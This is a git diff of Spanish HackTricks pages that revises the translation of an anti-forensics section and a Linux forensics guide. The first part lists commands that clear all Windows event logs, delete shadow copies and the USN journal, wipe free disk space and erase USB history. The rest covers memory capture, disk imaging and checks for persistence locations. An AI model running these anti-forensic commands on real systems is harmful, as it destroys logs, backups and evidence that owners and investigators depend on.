+1. Establecer dos claves de registro, `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs` y `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackEnabled`, ambas a cero para señalar que queremos deshabilitar UserAssist.
+2. Limpiar sus subárboles de registro que se parecen a `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\`.
### Deshabilitar Marcas de Tiempo - Prefetch
Esto guardará información sobre las aplicaciones ejecutadas con el objetivo de mejorar el rendimiento del sistema Windows. Sin embargo, esto también puede ser útil para prácticas forenses.
* Ejecutar `regedit`
-* Seleccionar la ruta de archivo `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory Management\PrefetchParameters`
-* Hacer clic derecho en tanto `EnablePrefetcher` como `EnableSuperfetch`
+* Seleccionar la ruta del archivo `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory Management\PrefetchParameters`
+* Hacer clic derecho en `EnablePrefetcher` y `EnableSuperfetch`
* Seleccionar Modificar en cada uno de estos para cambiar el valor de 1 (o 3) a 0
* Reiniciar
-### Deshabilitar Marcas de Tiempo - Hora de Último Acceso
+### Deshabilitar Marcas de Tiempo - Última Hora de Acceso
-Cada vez que se abre una carpeta desde un volumen NTFS en un servidor Windows NT, el sistema toma el tiempo para **actualizar un campo de marca de tiempo en cada carpeta listada**, llamado la hora de último acceso. En un volumen NTFS muy utilizado, esto puede afectar el rendimiento.
+Cada vez que se abre una carpeta desde un volumen NTFS en un servidor Windows NT, el sistema toma el tiempo para **actualizar un campo de marca de tiempo en cada carpeta listada**, llamado la última hora de acceso. En un volumen NTFS muy utilizado, esto puede afectar el rendimiento.
-1. Abrir el Editor del Registro (Regedit.exe).
-2. Navegar a `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem`.
-3. Buscar `NtfsDisableLastAccessUpdate`. Si no existe, agregar este DWORD y establecer su valor en 1, lo que deshabilitará el proceso.
-4. Cerrar el Editor del Registro y reiniciar el servidor.
-### Borrar Historial de USB
+1. Abra el Editor del Registro (Regedit.exe).
+2. Navegue a `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem`.
+3. Busque `NtfsDisableLastAccessUpdate`. Si no existe, agregue este DWORD y establezca su valor en 1, lo que deshabilitará el proceso.
+4. Cierre el Editor del Registro y reinicie el servidor.
-Todos los **Entradas de Dispositivos USB** se almacenan en el Registro de Windows bajo la clave del registro **USBSTOR** que contiene subclaves que se crean cada vez que conectas un Dispositivo USB a tu PC o Laptop. Puedes encontrar esta clave aquí `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. **Al eliminar esto** borrarás el historial de USB.\
-También puedes usar la herramienta [**USBDeview**](https://www.nirsoft.net/utils/usb\_devices\_view.html) para asegurarte de haberlos eliminado (y para eliminarlos).
+### Eliminar Historial de USB
-Otro archivo que guarda información sobre los USBs es el archivo `setupapi.dev.log` dentro de `C:\Windows\INF`. Este también debería ser eliminado.
+Todas las **Entradas de Dispositivos USB** se almacenan en el Registro de Windows bajo la clave de registro **USBSTOR** que contiene subclaves que se crean cada vez que conecta un dispositivo USB a su PC o Laptop. Puede encontrar esta clave aquí `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. **Eliminar esto** eliminará el historial de USB.\
+También puede usar la herramienta [**USBDeview**](https://www.nirsoft.net/utils/usb_devices_view.html) para asegurarse de que los ha eliminado (y para eliminarlos).
+
+Otro archivo que guarda información sobre los USB es el archivo `setupapi.dev.log` dentro de `C:\Windows\INF`. Este también debe ser eliminado.
### Deshabilitar Copias de Sombra
-**Listar** las copias de sombra con `vssadmin list shadowstorage`\
+**Listar** copias de sombra con `vssadmin list shadowstorage`\
**Eliminar** ejecutando `vssadmin delete shadow`
-También puedes eliminarlas a través de la GUI siguiendo los pasos propuestos en [https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html)
+También puede eliminarlas a través de la GUI siguiendo los pasos propuestos en [https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html)
-Para deshabilitar las copias de sombra [pasos desde aquí](https://support.waters.com/KB\_Inf/Other/WKB15560\_How\_to\_disable\_Volume\_Shadow\_Copy\_Service\_VSS\_in\_Windows):
+Para deshabilitar las copias de sombra [pasos desde aquí](https://support.waters.com/KB_Inf/Other/WKB15560_How_to_disable_Volume_Shadow_Copy_Service_VSS_in_Windows):
-1. Abre el programa Servicios escribiendo "servicios" en la caja de búsqueda de texto después de hacer clic en el botón de inicio de Windows.
-2. En la lista, encuentra "Copia de Sombra de Volumen", selecciónalo y luego accede a Propiedades haciendo clic derecho.
-3. Elige Deshabilitado en el menú desplegable "Tipo de inicio" y luego confirma el cambio haciendo clic en Aplicar y Aceptar.
+1. Abra el programa de Servicios escribiendo "services" en el cuadro de búsqueda de texto después de hacer clic en el botón de inicio de Windows.
+2. En la lista, busque "Copia de Sombra de Volumen", selecciónelo y luego acceda a Propiedades haciendo clic derecho.
+3. Elija Deshabilitado en el menú desplegable "Tipo de inicio" y luego confirme el cambio haciendo clic en Aplicar y Aceptar.
-También es posible modificar la configuración de qué archivos van a ser copiados en la copia de sombra en el registro `HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot`
+También es posible modificar la configuración de qué archivos se van a copiar en la copia de sombra en el registro `HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot`
### Sobrescribir archivos eliminados
-* Puedes usar una **herramienta de Windows**: `cipher /w:C` Esto indicará a cipher que elimine cualquier dato del espacio de disco no utilizado disponible dentro de la unidad C.
-* También puedes usar herramientas como [**Eraser**](https://eraser.heidi.ie)
+* Puede usar una **herramienta de Windows**: `cipher /w:C` Esto indicará a cipher que elimine cualquier dato del espacio de disco no utilizado disponible dentro de la unidad C.
+* También puede usar herramientas como [**Eraser**](https://eraser.heidi.ie)
-### Borrar registros de eventos de Windows
+### Eliminar registros de eventos de Windows
-* Windows + R --> eventvwr.msc --> Expandir "Registros de Windows" --> Haz clic derecho en cada categoría y selecciona "Borrar Registro"
+* Windows + R --> eventvwr.msc --> Expandir "Registros de Windows" --> Hacer clic derecho en cada categoría y seleccionar "Borrar registro"
* `for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"`
* `Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }`
### Deshabilitar registros de eventos de Windows
* `reg add 'HKLM\SYSTEM\CurrentControlSet\Services\eventlog' /v Start /t REG_DWORD /d 4 /f`
-* Dentro de la sección de servicios, deshabilita el servicio "Registro de Eventos de Windows"
+* Dentro de la sección de servicios deshabilitar el servicio "Registro de Eventos de Windows"
* `WEvtUtil.exec clear-log` o `WEvtUtil.exe cl`
### Deshabilitar $UsnJrnl
* `fsutil usn deletejournal /d c:`
+
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
+
+
+Support HackTricks
+
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+
+
+{% endhint %}
diff --git a/generic-methodologies-and-resources/basic-forensic-methodology/linux-forensics.md b/generic-methodologies-and-resources/basic-forensic-methodology/linux-forensics.md
index c4a468bbe..ec9a94348 100644
--- a/generic-methodologies-and-resources/basic-forensic-methodology/linux-forensics.md
+++ b/generic-methodologies-and-resources/basic-forensic-methodology/linux-forensics.md
@@ -1,37 +1,38 @@
-# Forense en Linux
+# Linux Forensics
\
-Utilice [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias **más avanzadas del mundo**.\
-Acceda hoy mismo:
+Utiliza [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) para construir y **automatizar flujos de trabajo** fácilmente impulsados por las **herramientas comunitarias más avanzadas** del mundo.\
+Obtén acceso hoy:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %}
+{% hint style="success" %}
+Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Aprenda hacking en AWS desde cero hasta convertirse en un experto conhtARTE (HackTricks AWS Red Team Expert)!
+Apoya a HackTricks
-Otras formas de apoyar a HackTricks:
-
-* Si desea ver su **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulte los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
-* Obtenga la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
-* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Únase al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síganos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Comparta sus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
+* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
+* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
+{% endhint %}
-## Recopilación de Información Inicial
+## Recolección Inicial de Información
### Información Básica
-En primer lugar, se recomienda tener una **USB** con **binarios y bibliotecas conocidos y buenos** (puede simplemente obtener Ubuntu y copiar las carpetas _/bin_, _/sbin_, _/lib_ y _/lib64_), luego montar la USB y modificar las variables de entorno para usar esos binarios:
+Primero que nada, se recomienda tener un **USB** con **binaries y bibliotecas bien conocidas** (puedes simplemente obtener ubuntu y copiar las carpetas _/bin_, _/sbin_, _/lib,_ y _/lib64_), luego monta el USB y modifica las variables de entorno para usar esos binaries:
```bash
export PATH=/mnt/usb/bin:/mnt/usb/sbin
export LD_LIBRARY_PATH=/mnt/usb/lib:/mnt/usb/lib64
```
-Una vez que hayas configurado el sistema para usar binarios buenos y conocidos, puedes comenzar **a extraer alguna información básica**:
+Una vez que hayas configurado el sistema para usar binarios buenos y conocidos, puedes comenzar a **extraer información básica**:
```bash
date #Date and time (Clock may be skewed, Might be at a different timezone)
uname -a #OS info
@@ -51,11 +52,11 @@ find /directory -type f -mtime -1 -print #Find modified files during the last mi
```
#### Información sospechosa
-Mientras se obtiene la información básica, se debe verificar cosas extrañas como:
+Mientras obtienes la información básica, debes verificar cosas extrañas como:
-- Los **procesos de root** generalmente se ejecutan con PIDS bajos, por lo que si encuentras un proceso de root con un PID alto, puedes sospechar
-- Verificar **inicios de sesión registrados** de usuarios sin shell dentro de `/etc/passwd`
-- Verificar **hashes de contraseñas** dentro de `/etc/shadow` para usuarios sin shell
+* **Los procesos de root** generalmente se ejecutan con PIDS bajos, así que si encuentras un proceso de root con un PID grande, puedes sospechar.
+* Verifica los **inicios de sesión registrados** de usuarios sin un shell dentro de `/etc/passwd`.
+* Verifica los **hashes de contraseñas** dentro de `/etc/shadow` para usuarios sin un shell.
### Volcado de memoria
@@ -63,11 +64,11 @@ Para obtener la memoria del sistema en ejecución, se recomienda usar [**LiME**]
Para **compilarlo**, necesitas usar el **mismo kernel** que está utilizando la máquina víctima.
{% hint style="info" %}
-Recuerda que **no puedes instalar LiME ni nada más** en la máquina víctima, ya que hará varios cambios en ella
+Recuerda que **no puedes instalar LiME ni nada más** en la máquina víctima, ya que hará varios cambios en ella.
{% endhint %}
-Entonces, si tienes una versión idéntica de Ubuntu, puedes usar `apt-get install lime-forensics-dkms`\
-En otros casos, necesitas descargar [**LiME**](https://github.com/504ensicsLabs/LiME) desde github y compilarlo con los encabezados de kernel correctos. Para **obtener los encabezados de kernel exactos** de la máquina víctima, simplemente **copia el directorio** `/lib/modules/` a tu máquina, y luego **compila** LiME usando esos encabezados:
+Así que, si tienes una versión idéntica de Ubuntu, puedes usar `apt-get install lime-forensics-dkms`\
+En otros casos, necesitas descargar [**LiME**](https://github.com/504ensicsLabs/LiME) de github y compilarlo con los encabezados de kernel correctos. Para **obtener los encabezados de kernel exactos** de la máquina víctima, puedes simplemente **copiar el directorio** `/lib/modules/` a tu máquina, y luego **compilar** LiME usándolos:
```bash
make -C /lib/modules//build M=$PWD
sudo insmod lime.ko "path=/home/sansforensics/Desktop/mem_dump.bin format=lime"
@@ -75,21 +76,21 @@ sudo insmod lime.ko "path=/home/sansforensics/Desktop/mem_dump.bin format=lime"
LiME soporta 3 **formatos**:
* Raw (cada segmento concatenado)
-* Padded (igual que raw, pero con ceros en los bits derechos)
+* Padded (igual que raw, pero con ceros en los bits de la derecha)
* Lime (formato recomendado con metadatos)
-LiME también se puede utilizar para **enviar el volcado a través de la red** en lugar de almacenarlo en el sistema usando algo como: `path=tcp:4444`
+LiME también se puede usar para **enviar el volcado a través de la red** en lugar de almacenarlo en el sistema usando algo como: `path=tcp:4444`
-### Imagen de Disco
+### Imagen de disco
#### Apagado
-En primer lugar, necesitarás **apagar el sistema**. Esto no siempre es una opción, ya que a veces el sistema será un servidor de producción que la empresa no puede permitirse apagar.\
-Hay **2 formas** de apagar el sistema, un **apagado normal** y un **apagado "desenchufar"**. El primero permitirá que los **procesos terminen como de costumbre** y que el **sistema de archivos** se **sincronice**, pero también permitirá que el posible **malware** **destruya evidencia**. El enfoque de "desenchufar" puede implicar **alguna pérdida de información** (no se perderá mucha información ya que ya tomamos una imagen de la memoria) y el **malware no tendrá oportunidad** de hacer nada al respecto. Por lo tanto, si **sospechas** que puede haber un **malware**, simplemente ejecuta el **comando `sync`** en el sistema y desenchufa.
+Primero que nada, necesitarás **apagar el sistema**. Esto no siempre es una opción, ya que a veces el sistema será un servidor de producción que la empresa no puede permitirse apagar.\
+Hay **2 formas** de apagar el sistema, un **apagado normal** y un **apagado de "desconectar el enchufe"**. El primero permitirá que los **procesos se terminen como de costumbre** y que el **sistema de archivos** esté **sincronizado**, pero también permitirá que el posible **malware** **destruya evidencia**. El enfoque de "desconectar el enchufe" puede conllevar **alguna pérdida de información** (no se perderá mucha información ya que ya tomamos una imagen de la memoria) y el **malware no tendrá ninguna oportunidad** de hacer algo al respecto. Por lo tanto, si **sospechas** que puede haber un **malware**, simplemente ejecuta el **comando** **`sync`** en el sistema y desconecta el enchufe.
-#### Tomar una imagen del disco
+#### Tomando una imagen del disco
-Es importante tener en cuenta que **antes de conectar tu computadora a cualquier cosa relacionada con el caso**, debes asegurarte de que se va a **montar como solo lectura** para evitar modificar cualquier información.
+Es importante notar que **antes de conectar tu computadora a cualquier cosa relacionada con el caso**, necesitas asegurarte de que se va a **montar como solo lectura** para evitar modificar cualquier información.
```bash
#Create a raw copy of the disk
dd if= of= bs=512
@@ -100,7 +101,7 @@ dcfldd if=/dev/sdc of=/media/usb/pc.image hash=sha256 hashwindow=1M hashlog=/med
```
### Análisis previo de la imagen del disco
-Crear una imagen del disco sin más datos.
+Imaging una imagen de disco sin más datos.
```bash
#Find out if it's a disk image using "file" command
file disk.img
@@ -156,23 +157,23 @@ ThisisTheMasterSecret
\
-Utilice [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias más avanzadas del mundo.\
-Obtenga acceso hoy:
+Utiliza [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) para construir y **automatizar flujos de trabajo** fácilmente, impulsados por las herramientas comunitarias **más avanzadas** del mundo.\
+Accede hoy:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %}
-## Buscar Malware conocido
+## Buscar malware conocido
-### Archivos del Sistema Modificados
+### Archivos del sistema modificados
Linux ofrece herramientas para garantizar la integridad de los componentes del sistema, crucial para detectar archivos potencialmente problemáticos.
-* **Sistemas basados en RedHat**: Utilice `rpm -Va` para una verificación exhaustiva.
-* **Sistemas basados en Debian**: `dpkg --verify` para verificación inicial, seguido de `debsums | grep -v "OK$"` (después de instalar `debsums` con `apt-get install debsums`) para identificar problemas.
+* **Sistemas basados en RedHat**: Usa `rpm -Va` para una verificación completa.
+* **Sistemas basados en Debian**: `dpkg --verify` para una verificación inicial, seguido de `debsums | grep -v "OK$"` (después de instalar `debsums` con `apt-get install debsums`) para identificar cualquier problema.
### Detectores de Malware/Rootkit
-Lea la siguiente página para conocer herramientas que pueden ser útiles para encontrar malware:
+Lee la siguiente página para aprender sobre herramientas que pueden ser útiles para encontrar malware:
{% content-ref url="malware-analysis.md" %}
[malware-analysis.md](malware-analysis.md)
@@ -180,12 +181,12 @@ Lea la siguiente página para conocer herramientas que pueden ser útiles para e
## Buscar programas instalados
-Para buscar eficazmente programas instalados en sistemas Debian y RedHat, considere aprovechar los registros y bases de datos del sistema junto con verificaciones manuales en directorios comunes.
+Para buscar de manera efectiva programas instalados en sistemas Debian y RedHat, considera aprovechar los registros del sistema y bases de datos junto con verificaciones manuales en directorios comunes.
-* Para Debian, inspeccione _**`/var/lib/dpkg/status`**_ y _**`/var/log/dpkg.log`**_ para obtener detalles sobre las instalaciones de paquetes, utilizando `grep` para filtrar información específica.
+* Para Debian, inspecciona _**`/var/lib/dpkg/status`**_ y _**`/var/log/dpkg.log`**_ para obtener detalles sobre las instalaciones de paquetes, utilizando `grep` para filtrar información específica.
* Los usuarios de RedHat pueden consultar la base de datos RPM con `rpm -qa --root=/mntpath/var/lib/rpm` para listar los paquetes instalados.
-Para descubrir software instalado manualmente o fuera de estos gestores de paquetes, explore directorios como _**`/usr/local`**_, _**`/opt`**_, _**`/usr/sbin`**_, _**`/usr/bin`**_, _**`/bin`**_, y _**`/sbin`**_. Combine listados de directorios con comandos específicos del sistema para identificar ejecutables no asociados con paquetes conocidos, mejorando su búsqueda de todos los programas instalados.
+Para descubrir software instalado manualmente o fuera de estos gestores de paquetes, explora directorios como _**`/usr/local`**_, _**`/opt`**_, _**`/usr/sbin`**_, _**`/usr/bin`**_, _**`/bin`**_, y _**`/sbin`**_. Combina listados de directorios con comandos específicos del sistema para identificar ejecutables no asociados con paquetes conocidos, mejorando tu búsqueda de todos los programas instalados.
```bash
# Debian package and log details
cat /var/lib/dpkg/status | grep -E "Package:|Status:"
@@ -204,14 +205,14 @@ find / -type f -executable | grep
\
-Utilice [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias **más avanzadas** del mundo.\
-Obtenga acceso hoy:
+Utiliza [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) para construir y **automatizar flujos de trabajo** fácilmente impulsados por las **herramientas comunitarias más avanzadas** del mundo.\
+Obtén acceso hoy:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %}
-## Recuperar Binarios en Ejecución Eliminados
+## Recuperar binarios en ejecución eliminados
-Imagina un proceso que se ejecutó desde /tmp/exec y luego fue eliminado. Es posible extraerlo
+Imagina un proceso que se ejecutó desde /tmp/exec y luego fue eliminado. Es posible extraerlo.
```bash
cd /proc/3746/ #PID with the exec file deleted
head -1 maps #Get address of the file. It was 08048000-08049000
@@ -237,90 +238,90 @@ ls -l /usr/lib/cron/tabs/ /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Libra
Rutas donde un malware podría instalarse como un servicio:
-- **/etc/inittab**: Llama a scripts de inicialización como rc.sysinit, dirigiendo posteriormente a scripts de inicio.
-- **/etc/rc.d/** y **/etc/rc.boot/**: Contienen scripts para el inicio de servicios, siendo este último encontrado en versiones antiguas de Linux.
-- **/etc/init.d/**: Utilizado en ciertas versiones de Linux como Debian para almacenar scripts de inicio.
-- Los servicios también pueden ser activados a través de **/etc/inetd.conf** o **/etc/xinetd/**, dependiendo de la variante de Linux.
-- **/etc/systemd/system**: Un directorio para scripts del sistema y del administrador de servicios.
-- **/etc/systemd/system/multi-user.target.wants/**: Contiene enlaces a servicios que deben iniciarse en un nivel de ejecución multiusuario.
-- **/usr/local/etc/rc.d/**: Para servicios personalizados o de terceros.
-- **\~/.config/autostart/**: Para aplicaciones de inicio automático específicas del usuario, que pueden ser un lugar de ocultación para malware dirigido al usuario.
-- **/lib/systemd/system/**: Archivos de unidad predeterminados de todo el sistema proporcionados por paquetes instalados.
+* **/etc/inittab**: Llama a scripts de inicialización como rc.sysinit, dirigiendo posteriormente a scripts de inicio.
+* **/etc/rc.d/** y **/etc/rc.boot/**: Contienen scripts para el inicio de servicios, siendo este último encontrado en versiones más antiguas de Linux.
+* **/etc/init.d/**: Usado en ciertas versiones de Linux como Debian para almacenar scripts de inicio.
+* Los servicios también pueden ser activados a través de **/etc/inetd.conf** o **/etc/xinetd/**, dependiendo de la variante de Linux.
+* **/etc/systemd/system**: Un directorio para scripts del gestor de sistema y servicios.
+* **/etc/systemd/system/multi-user.target.wants/**: Contiene enlaces a servicios que deben iniciarse en un nivel de ejecución multiusuario.
+* **/usr/local/etc/rc.d/**: Para servicios personalizados o de terceros.
+* **\~/.config/autostart/**: Para aplicaciones de inicio automático específicas del usuario, que pueden ser un escondite para malware dirigido a usuarios.
+* **/lib/systemd/system/**: Archivos de unidad predeterminados a nivel de sistema proporcionados por paquetes instalados.
### Módulos del Kernel
Los módulos del kernel de Linux, a menudo utilizados por malware como componentes de rootkit, se cargan al inicio del sistema. Los directorios y archivos críticos para estos módulos incluyen:
-- **/lib/modules/$(uname -r)**: Contiene módulos para la versión del kernel en ejecución.
-- **/etc/modprobe.d**: Contiene archivos de configuración para controlar la carga de módulos.
-- **/etc/modprobe** y **/etc/modprobe.conf**: Archivos para configuraciones globales de módulos.
+* **/lib/modules/$(uname -r)**: Contiene módulos para la versión del kernel en ejecución.
+* **/etc/modprobe.d**: Contiene archivos de configuración para controlar la carga de módulos.
+* **/etc/modprobe** y **/etc/modprobe.conf**: Archivos para configuraciones globales de módulos.
-### Otras Ubicaciones de Inicio Automático
+### Otras Ubicaciones de Autoinicio
-Linux emplea varios archivos para ejecutar programas automáticamente al iniciar sesión de usuario, potencialmente albergando malware:
+Linux emplea varios archivos para ejecutar automáticamente programas al iniciar sesión del usuario, potencialmente albergando malware:
-- **/etc/profile.d/**\*, **/etc/profile** y **/etc/bash.bashrc**: Ejecutados para cualquier inicio de sesión de usuario.
-- **\~/.bashrc**, **\~/.bash\_profile**, **\~/.profile** y **\~/.config/autostart**: Archivos específicos del usuario que se ejecutan al iniciar sesión.
-- **/etc/rc.local**: Se ejecuta después de que todos los servicios del sistema se han iniciado, marcando el final de la transición a un entorno multiusuario.
+* **/etc/profile.d/**\*, **/etc/profile**, y **/etc/bash.bashrc**: Se ejecutan para cualquier inicio de sesión de usuario.
+* **\~/.bashrc**, **\~/.bash\_profile**, **\~/.profile**, y **\~/.config/autostart**: Archivos específicos del usuario que se ejecutan al iniciar sesión.
+* **/etc/rc.local**: Se ejecuta después de que todos los servicios del sistema han comenzado, marcando el final de la transición a un entorno multiusuario.
## Examinar Registros
-Los sistemas Linux registran las actividades de los usuarios y los eventos del sistema a través de varios archivos de registro. Estos registros son fundamentales para identificar accesos no autorizados, infecciones de malware y otros incidentes de seguridad. Los archivos de registro clave incluyen:
+Los sistemas Linux rastrean las actividades de los usuarios y los eventos del sistema a través de varios archivos de registro. Estos registros son fundamentales para identificar accesos no autorizados, infecciones de malware y otros incidentes de seguridad. Los archivos de registro clave incluyen:
-- **/var/log/syslog** (Debian) o **/var/log/messages** (RedHat): Capturan mensajes y actividades en todo el sistema.
-- **/var/log/auth.log** (Debian) o **/var/log/secure** (RedHat): Registran intentos de autenticación, inicios de sesión exitosos y fallidos.
-- Utiliza `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log` para filtrar eventos de autenticación relevantes.
-- **/var/log/boot.log**: Contiene mensajes de inicio del sistema.
-- **/var/log/maillog** o **/var/log/mail.log**: Registra actividades del servidor de correo electrónico, útil para rastrear servicios relacionados con el correo electrónico.
-- **/var/log/kern.log**: Almacena mensajes del kernel, incluidos errores y advertencias.
-- **/var/log/dmesg**: Contiene mensajes de controladores de dispositivos.
-- **/var/log/faillog**: Registra intentos de inicio de sesión fallidos, ayudando en investigaciones de violaciones de seguridad.
-- **/var/log/cron**: Registra la ejecución de trabajos cron.
-- **/var/log/daemon.log**: Realiza un seguimiento de las actividades de los servicios en segundo plano.
-- **/var/log/btmp**: Documenta intentos de inicio de sesión fallidos.
-- **/var/log/httpd/**: Contiene registros de errores y accesos de Apache HTTPD.
-- **/var/log/mysqld.log** o **/var/log/mysql.log**: Registra actividades de la base de datos MySQL.
-- **/var/log/xferlog**: Registra transferencias de archivos FTP.
-- **/var/log/**: Siempre verifica los registros inesperados aquí.
+* **/var/log/syslog** (Debian) o **/var/log/messages** (RedHat): Capturan mensajes y actividades a nivel de sistema.
+* **/var/log/auth.log** (Debian) o **/var/log/secure** (RedHat): Registran intentos de autenticación, inicios de sesión exitosos y fallidos.
+* Usa `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log` para filtrar eventos de autenticación relevantes.
+* **/var/log/boot.log**: Contiene mensajes de inicio del sistema.
+* **/var/log/maillog** o **/var/log/mail.log**: Registra actividades del servidor de correo, útil para rastrear servicios relacionados con el correo electrónico.
+* **/var/log/kern.log**: Almacena mensajes del kernel, incluidos errores y advertencias.
+* **/var/log/dmesg**: Contiene mensajes del controlador de dispositivos.
+* **/var/log/faillog**: Registra intentos de inicio de sesión fallidos, ayudando en investigaciones de brechas de seguridad.
+* **/var/log/cron**: Registra ejecuciones de trabajos cron.
+* **/var/log/daemon.log**: Rastrear actividades de servicios en segundo plano.
+* **/var/log/btmp**: Documenta intentos de inicio de sesión fallidos.
+* **/var/log/httpd/**: Contiene registros de errores y accesos de Apache HTTPD.
+* **/var/log/mysqld.log** o **/var/log/mysql.log**: Registra actividades de la base de datos MySQL.
+* **/var/log/xferlog**: Registra transferencias de archivos FTP.
+* **/var/log/**: Siempre verifica si hay registros inesperados aquí.
{% hint style="info" %}
-Los registros del sistema y los subsistemas de auditoría de Linux pueden estar deshabilitados o eliminados en un incidente de intrusión o malware. Debido a que los registros en los sistemas Linux generalmente contienen información muy útil sobre actividades maliciosas, los intrusos rutinariamente los eliminan. Por lo tanto, al examinar los archivos de registro disponibles, es importante buscar lagunas o entradas fuera de orden que puedan ser una indicación de eliminación o manipulación.
+Los registros del sistema Linux y los subsistemas de auditoría pueden ser deshabilitados o eliminados en un incidente de intrusión o malware. Debido a que los registros en los sistemas Linux generalmente contienen información muy útil sobre actividades maliciosas, los intrusos los eliminan rutinariamente. Por lo tanto, al examinar los archivos de registro disponibles, es importante buscar brechas o entradas fuera de orden que puedan ser una indicación de eliminación o manipulación.
{% endhint %}
**Linux mantiene un historial de comandos para cada usuario**, almacenado en:
-- \~/.bash\_history
-- \~/.zsh\_history
-- \~/.zsh\_sessions/\*
-- \~/.python\_history
-- \~/.\*\_history
+* \~/.bash\_history
+* \~/.zsh\_history
+* \~/.zsh\_sessions/\*
+* \~/.python\_history
+* \~/.\*\_history
-Además, el comando `last -Faiwx` proporciona una lista de inicios de sesión de usuario. Revísalo en busca de inicios de sesión desconocidos o inesperados.
+Además, el comando `last -Faiwx` proporciona una lista de inicios de sesión de usuarios. Verifícalo para inicios de sesión desconocidos o inesperados.
-Revisa archivos que pueden otorgar privilegios adicionales:
+Verifica archivos que pueden otorgar privilegios adicionales:
-- Revisa `/etc/sudoers` para privilegios de usuario no anticipados que puedan haber sido otorgados.
-- Revisa `/etc/sudoers.d/` para privilegios de usuario no anticipados que puedan haber sido otorgados.
-- Examina `/etc/groups` para identificar membresías o permisos de grupo inusuales.
-- Examina `/etc/passwd` para identificar membresías o permisos de grupo inusuales.
+* Revisa `/etc/sudoers` en busca de privilegios de usuario no anticipados que puedan haber sido otorgados.
+* Revisa `/etc/sudoers.d/` en busca de privilegios de usuario no anticipados que puedan haber sido otorgados.
+* Examina `/etc/groups` para identificar cualquier membresía o permisos de grupo inusuales.
